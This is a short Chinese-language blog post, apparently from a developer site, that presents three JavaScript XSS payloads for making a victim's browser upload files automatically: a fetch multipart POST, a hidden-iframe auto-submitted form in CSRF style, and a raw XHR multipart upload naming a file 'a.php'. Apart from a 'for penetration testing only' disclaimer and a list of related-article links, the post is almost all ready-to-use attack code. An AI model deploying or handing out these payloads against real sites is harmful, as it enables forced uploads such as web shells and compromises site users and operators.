使用XSS自动上传表单文件的例子

仅供渗透测试,禁止他用

方案一:fetch

javascript 复制代码
 let formData = new FormData();
formData.append('name', 'John');
formData.append('file', new Blob(['Hello World!\n']), 'test')
fetch("http://www.baidu,com",
  {
    body: formData, method: "post"
  });

方案二:iframe

javascript 复制代码
	var Iframe=document.createElement("iframe")
Iframe.name="csrf-frame"
Iframe.style="display:none"
var Form = document.createElement("form");
Form.action = "http://www.baidu.com";
Form.method = "post";
Form.setAttribute("enctype", "multipart/form-data");
 
Form.target = "csrf-frame";
var Input= document.createElement("input");
Input.type='hidden'
Input.name='a'
Input.value='b'
 
const dataTransfer = new DataTransfer();
var fileInput= document.createElement("input");
 Form.appendChild(Input)
 document.body.appendChild(Iframe)
 
dataTransfer.items.add(
          new File(['Hello World!\n'], 'test', {
            type: 'application/octet-stream'
          })
        );
fileInput.setAttribute("name", "file");
 
 fileInput.setAttribute("type", "file");
 
 fileInput.files = dataTransfer.files;
Form.appendChild(fileInput)
var formToSubmit = document.body.appendChild(Form);
formToSubmit.submit();

方案三:

javascript 复制代码
  if (XMLHttpRequest.prototype.sendAsBinary === undefined) {
  XMLHttpRequest.prototype.sendAsBinary = function(string) {
    var bytes = Array.prototype.map.call(string, function(c) {
        return c.charCodeAt(0) & 0xff;
    });
    this.send(new Uint8Array(bytes));
  };
}
  var boundary = '----ThisIsTheBoundary1234567890';
  var formData = '--' + boundary + '\r\n'
  formData += 'Content-Disposition: form-data; name="source"; filename="a.php"\r\n';
  formData += 'Content-Type: application/octet-stream\r\n\r\n';
  formData += 'Data';
  formData += '\r\n';
  formData += '--' + boundary + '\r\n';
  formData += 'Content-Disposition: form-data; name="message"\r\n\r\n';
  formData += 'message' + '\r\n'
  formData += '--' + boundary + '--\r\n';
 
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'haha', true);
  xhr.onload  = xhr.onerror  = function() {
      console.log(xhr.responseText);
  };
  xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
  xhr.sendAsBinary(formData);
相关推荐
blackorbird1 天前
Edge 浏览器 IE 模式成攻击突破口:黑客借仿冒网站诱导攻击
前端·edge
谷歌开发者1 天前
Web 开发指向标 | Chrome 开发者工具学习资源 (一)
前端·chrome·学习
名字越长技术越强1 天前
Chrome和IE获取本机ip地址
前端
天***88961 天前
Chrome 安装失败且提示“无可用的更新” 或 “与服务器的连接意外终止”,Chrome 离线版下载安装教程
前端·chrome
半梦半醒*1 天前
zabbix安装
linux·运维·前端·网络·zabbix
清羽_ls1 天前
React Hooks 核心规则&自定义 Hooks
前端·react.js·hooks
你的人类朋友1 天前
“签名”这个概念是非对称加密独有的吗?
前端·后端·安全
西陵1 天前
Nx带来极致的前端开发体验——任务缓存
前端·javascript·架构
10年前端老司机1 天前
Promise 常见面试题(持续更新中)
前端·javascript
潘小安1 天前
跟着 AI 学 (一)- shell 脚本
前端·ci/cd·vibecoding